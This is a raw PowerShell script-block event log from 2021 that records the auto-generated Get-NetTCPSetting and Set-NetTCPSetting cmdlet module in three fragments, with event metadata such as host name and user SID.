$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AutoReusePortRangeNumberOfPorts'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetTCPSetting.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetTCPSetting' -Alias '*'
ScriptBlock ID: cc3c1180-61c0-4f8f-afea-3686dcdae06f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1819 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-f72a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetTCPSetting.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetTCPSetting' -Alias '*'
function Set-NetTCPSetting
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetTCPSetting')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${SettingName},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetTCPSetting')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MinRto')]
[uint32]
${MinRtoMs},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('InitialCongestionWindow')]
[uint32]
${InitialCongestionWindowMss},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.CongestionProvider]
${CongestionProvider},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.CwndRestart]
${CwndRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('DelayedAckTimeout')]
[uint32]
${DelayedAckTimeoutMs},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[byte]
${DelayedAckFrequency},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.MemoryPressureProtection]
${MemoryPressureProtection},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.AutoTuningLevelLocal]
${AutoTuningLevelLocal},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.EcnCapability]
${EcnCapability},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.Timestamps]
${Timestamps},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('InitialRto')]
[uint32]
${InitialRtoMs},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.ScalingHeuristics]
${ScalingHeuristics},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint16]
${DynamicPortRangeStartPort},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint16]
${DynamicPortRangeNumberOfPorts},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.AutomaticUseCustom]
${AutomaticUseCustom},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.NonSackRttResiliency]
${NonSackRttResiliency},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.ForceWS]
${ForceWS},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[byte]
${MaxSynRetransmissions},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint16]
${AutoReusePortRangeStartPort},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint16]
${AutoReusePortRangeNumberOfPorts},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('SettingName') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SettingName})
$__cmdletization_queryBuilder.FilterByProperty('SettingName', $__cmdletization_values, $true, 'Default')
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MinRtoMs')) {
[object]$__cmdletization_value = ${MinRtoMs}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MinRto'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MinRto'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InitialCongestionWindowMss')) {
[object]$__cmdletization_value = ${InitialCongestionWindowMss}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InitialCongestionWindow'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InitialCongestionWindow'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('CongestionProvider')) {
[object]$__cmdletization_value = ${CongestionProvider}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CongestionProvider'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.CongestionProvider'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CongestionProvider'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.CongestionProvider'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('CwndRestart')) {
[object]$__cmdletization_value = ${CwndRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CwndRestart'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.CwndRestart'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CwndRestart'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.CwndRestart'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DelayedAckTimeoutMs')) {
[object]$__cmdletization_value = ${DelayedAckTimeoutMs}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DelayedAckTimeout'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DelayedAckTimeout'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DelayedAckFrequency')) {
[object]$__cmdletization_value = ${DelayedAckFrequency}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DelayedAckFrequency'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DelayedAckFrequency'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MemoryPressureProtection')) {
[object]$__cmdletization_value = ${MemoryPressureProtection}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MemoryPressureProtection'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.MemoryPressureProtection'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MemoryPressureProtection'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.MemoryPressureProtection'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AutoTuningLevelLocal')) {
[object]$__cmdletization_value = ${AutoTuningLevelLocal}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AutoTuningLevelLocal'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.AutoTuningLevelLocal'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AutoTuningLevelLocal'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.AutoTuningLevelLocal'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdl
ScriptBlock ID: cc3c1180-61c0-4f8f-afea-3686dcdae06f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1818 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-f72a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetTCPSetting'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetTCPSetting
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetTCPSetting')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${SettingName},
[Parameter(ParameterSetName='ByName')]
[Alias('MinRto')]
[ValidateNotNull()]
[uint32[]]
${MinRtoMs},
[Parameter(ParameterSetName='ByName')]
[Alias('InitialCongestionWindow')]
[ValidateNotNull()]
[uint32[]]
${InitialCongestionWindowMss},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.CongestionProvider[]]
${CongestionProvider},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.CwndRestart[]]
${CwndRestart},
[Parameter(ParameterSetName='ByName')]
[Alias('DelayedAckTimeout')]
[ValidateNotNull()]
[uint32[]]
${DelayedAckTimeoutMs},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[byte[]]
${DelayedAckFrequency},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.MemoryPressureProtection[]]
${MemoryPressureProtection},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.AutoTuningLevelLocal[]]
${AutoTuningLevelLocal},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.AutoTuningLevelGroupPolicy[]]
${AutoTuningLevelGroupPolicy},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.AutoTuningLevelEffective[]]
${AutoTuningLevelEffective},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.EcnCapability[]]
${EcnCapability},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.Timestamps[]]
${Timestamps},
[Parameter(ParameterSetName='ByName')]
[Alias('InitialRto')]
[ValidateNotNull()]
[uint32[]]
${InitialRtoMs},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.ScalingHeuristics[]]
${ScalingHeuristics},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${DynamicPortRangeStartPort},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${DynamicPortRangeNumberOfPorts},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.AutomaticUseCustom[]]
${AutomaticUseCustom},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.NonSackRttResiliency[]]
${NonSackRttResiliency},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPSetting.ForceWS[]]
${ForceWS},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[byte[]]
${MaxSynRetransmissions},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${AutoReusePortRangeStartPort},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${AutoReusePortRangeNumberOfPorts},
[Parameter(ParameterSetName='ByName', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetTransportFilter')]
[ValidateNotNull()]
[ciminstance]
${AssociatedTransportFilter},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('SettingName') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SettingName})
$__cmdletization_queryBuilder.FilterByProperty('SettingName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('MinRtoMs') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MinRtoMs})
$__cmdletization_queryBuilder.FilterByProperty('MinRto', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InitialCongestionWindowMss') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InitialCongestionWindowMss})
$__cmdletization_queryBuilder.FilterByProperty('InitialCongestionWindow', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('CongestionProvider') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${CongestionProvider})
$__cmdletization_queryBuilder.FilterByProperty('CongestionProvider', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('CwndRestart') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${CwndRestart})
$__cmdletization_queryBuilder.FilterByProperty('CwndRestart', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DelayedAckTimeoutMs') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DelayedAckTimeoutMs})
$__cmdletization_queryBuilder.FilterByProperty('DelayedAckTimeout', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DelayedAckFrequency') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DelayedAckFrequency})
$__cmdletization_queryBuilder.FilterByProperty('DelayedAckFrequency', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MemoryPressureProtection') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MemoryPressureProtection})
$__cmdletization_queryBuilder.FilterByProperty('MemoryPressureProtection', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AutoTuningLevelLocal') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AutoTuningLevelLocal})
$__cmdletization_queryBuilder.FilterByProperty('AutoTuningLevelLocal', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AutoTuningLevelGroupPolicy') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AutoTuningLevelGroupPolicy})
$__cmdletization_queryBuilder.FilterByProperty('AutoTuningLevelGroupPolicy', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AutoTuningLevelEffective') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AutoTuningLevelEffective})
$__cmdletization_queryBuilder.FilterByProperty('AutoTuningLevelEffective', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('EcnCapability') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${EcnCapability})
$__cmdletization_queryBuilder.FilterByProperty('EcnCapability', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Timestamps') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Timestamps})
$__cmdletization_queryBuilder.FilterByProperty('Timestamps', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InitialRtoMs') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InitialRtoMs})
$__cmdletization_queryBuilder.FilterByProperty('InitialRto', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ScalingHeuristics') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ScalingHeuristics})
$__cmdletization_queryBuilder.FilterByProperty('ScalingHeuristics', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DynamicPortRangeStartPort') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DynamicPortRangeStartPort})
$__cmdletization_queryBuilder.FilterByProperty('DynamicPortRangeStartPort', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DynamicPortRangeNumberOfPorts') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DynamicPortRangeNumberOfPorts})
$__cmdletization_queryBuilder.FilterByProperty('DynamicPortRangeNumberOfPorts', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AutomaticUseCustom') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AutomaticUseCustom})
$__cmdletization_queryBuilder.FilterByProperty('AutomaticUseCustom', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('NonSackRttResiliency') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NonSackRttResiliency})
$__cmdletization_queryBuilder.FilterByProperty('NonSackRttResiliency', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ForceWS') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ForceWS})
$__cmdletization_queryBuilder.FilterByProperty('ForceWS', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('MaxSynRetransmissions') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${MaxSynRetransmissions})
$__cmdletization_queryBuilder.FilterByProperty('MaxSynRetransmissions', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AutoReusePortRangeStartPort') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AutoReusePortRangeStartPort})
$__cmdletization_queryBuilder.FilterByProperty('AutoReusePortRangeStartPort', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AutoReusePortRangeNumberOfPorts') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AutoReusePortRangeNumberOfPorts})
$__cmdletization_queryBuilder.FilterByProperty('AutoReusePortRangeNumberOfPorts', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedTransportFilter') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedTransportFilter}, 'MSFT_NetTransportFilterTCPSetting', 'Antecedent', 'Dependent', 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
ScriptBlock ID: cc3c1180-61c0-4f8f-afea-3686dcdae06f
